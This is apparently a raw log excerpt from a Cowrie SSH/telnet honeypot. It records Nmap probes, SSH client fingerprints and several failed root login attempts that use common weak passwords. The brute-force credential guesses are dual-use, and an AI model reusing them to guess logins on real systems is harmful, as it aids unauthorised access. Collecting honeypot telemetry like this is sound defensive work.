{"eventid":"cowrie.login.failed","username":"root","password":"peter123","message":"login attempt [root/peter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:50.498153Z","src_ip":"60.165.124.241","session":"454268aee895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005213499069214,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:51.220838Z","src_ip":"198.58.117.211","session":"280c3adb8f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50926,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0909bebb7d5","protocol":"ssh","message":"New connection: 198.58.117.211:50926 (10.17.0.5:22) [session: f0909bebb7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:51.720687Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:51.752399Z","src_ip":"60.165.124.241","session":"454268aee895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50940,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4ea186e02a","protocol":"ssh","message":"New connection: 198.58.117.211:50940 (10.17.0.5:22) [session: eb4ea186e02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:51.875430Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37656,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2cae9a2ee1","protocol":"ssh","message":"New connection: 60.165.124.241:37656 (10.17.0.5:22) [session: 0c2cae9a2ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:52.002736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:52.008921Z","src_ip":"60.165.124.241","session":"0c2cae9a2ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:52.261067Z","src_ip":"60.165.124.241","session":"0c2cae9a2ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.041563Z","src_ip":"60.165.124.241","session":"0c2cae9a2ee1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.065276Z","src_ip":"198.58.117.211","session":"f0909bebb7d5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.125577Z","src_ip":"198.58.117.211","session":"eb4ea186e02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.138350Z","src_ip":"198.58.117.211","session":"eb4ea186e02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.183938Z","src_ip":"198.58.117.211","session":"f0909bebb7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.190443Z","src_ip":"198.58.117.211","session":"f0909bebb7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50990,"dst_ip":"10.17.0.5","dst_port":22,"session":"74495b0199a1","protocol":"ssh","message":"New connection: 198.58.117.211:50990 (10.17.0.5:22) [session: 74495b0199a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.334344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.394945Z","src_ip":"198.58.117.211","session":"74495b0199a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.451766Z","src_ip":"198.58.117.211","session":"74495b0199a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.459918Z","src_ip":"198.58.117.211","session":"74495b0199a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df52cc3073c","protocol":"ssh","message":"New connection: 198.58.117.211:50992 (10.17.0.5:22) [session: 7df52cc3073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.597651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.691880Z","src_ip":"198.58.117.211","session":"7df52cc3073c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.741876Z","src_ip":"198.58.117.211","session":"7df52cc3073c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.946632Z","src_ip":"198.58.117.211","session":"7df52cc3073c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37874,"dst_ip":"10.17.0.5","dst_port":22,"session":"109a2ba5ea30","protocol":"ssh","message":"New connection: 198.58.117.211:37874 (10.17.0.5:22) [session: 109a2ba5ea30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:53.991229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.054462Z","src_ip":"198.58.117.211","session":"109a2ba5ea30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.106329Z","src_ip":"198.58.117.211","session":"109a2ba5ea30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.294667Z","src_ip":"60.165.124.241","session":"0c2cae9a2ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.320250Z","src_ip":"198.58.117.211","session":"109a2ba5ea30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37878,"dst_ip":"10.17.0.5","dst_port":22,"session":"95dd28ccc475","protocol":"ssh","message":"New connection: 198.58.117.211:37878 (10.17.0.5:22) [session: 95dd28ccc475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.358380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.418567Z","src_ip":"198.58.117.211","session":"95dd28ccc475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.468872Z","src_ip":"198.58.117.211","session":"95dd28ccc475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.474586Z","src_ip":"198.58.117.211","session":"95dd28ccc475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40578,"dst_ip":"10.17.0.5","dst_port":22,"session":"3470aabe1a5e","protocol":"ssh","message":"New connection: 60.165.124.241:40578 (10.17.0.5:22) [session: 3470aabe1a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.521039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.526320Z","src_ip":"60.165.124.241","session":"3470aabe1a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37908,"dst_ip":"10.17.0.5","dst_port":22,"session":"7157bbb264dc","protocol":"ssh","message":"New connection: 198.58.117.211:37908 (10.17.0.5:22) [session: 7157bbb264dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.611044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.669389Z","src_ip":"198.58.117.211","session":"7157bbb264dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.720638Z","src_ip":"198.58.117.211","session":"7157bbb264dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.726080Z","src_ip":"198.58.117.211","session":"7157bbb264dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.764970Z","src_ip":"60.165.124.241","session":"3470aabe1a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37910,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be214fd1fd8","protocol":"ssh","message":"New connection: 198.58.117.211:37910 (10.17.0.5:22) [session: 2be214fd1fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.862556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.920846Z","src_ip":"198.58.117.211","session":"2be214fd1fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:54.972599Z","src_ip":"198.58.117.211","session":"2be214fd1fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:55.175906Z","src_ip":"198.58.117.211","session":"2be214fd1fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123.com","message":"login attempt [root/admin@123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:55.489234Z","src_ip":"60.165.124.241","session":"3470aabe1a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:56.732840Z","src_ip":"60.165.124.241","session":"3470aabe1a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43640,"dst_ip":"10.17.0.5","dst_port":22,"session":"073cabf635b4","protocol":"ssh","message":"New connection: 60.165.124.241:43640 (10.17.0.5:22) [session: 073cabf635b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:56.991102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:56.995666Z","src_ip":"60.165.124.241","session":"073cabf635b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:57.250650Z","src_ip":"60.165.124.241","session":"073cabf635b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38580,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e5ebe81566","protocol":"telnet","message":"New connection: 198.58.117.211:38580 (10.17.0.5:23) [session: 38e5ebe81566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:57.379914Z"}
{"eventid":"cowrie.session.closed","duration":0.007841110229492188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:57.387615Z","src_ip":"198.58.117.211","session":"38e5ebe81566","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"696969","message":"login attempt [root/696969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:58.031886Z","src_ip":"60.165.124.241","session":"073cabf635b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.45671510696411,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:58.594561Z","src_ip":"199.103.57.63","session":"0121ffea5b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":55512,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a7ad4e5406","protocol":"ssh","message":"New connection: 80.94.92.171:55512 (10.17.0.5:22) [session: 56a7ad4e5406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:58.713598Z"}
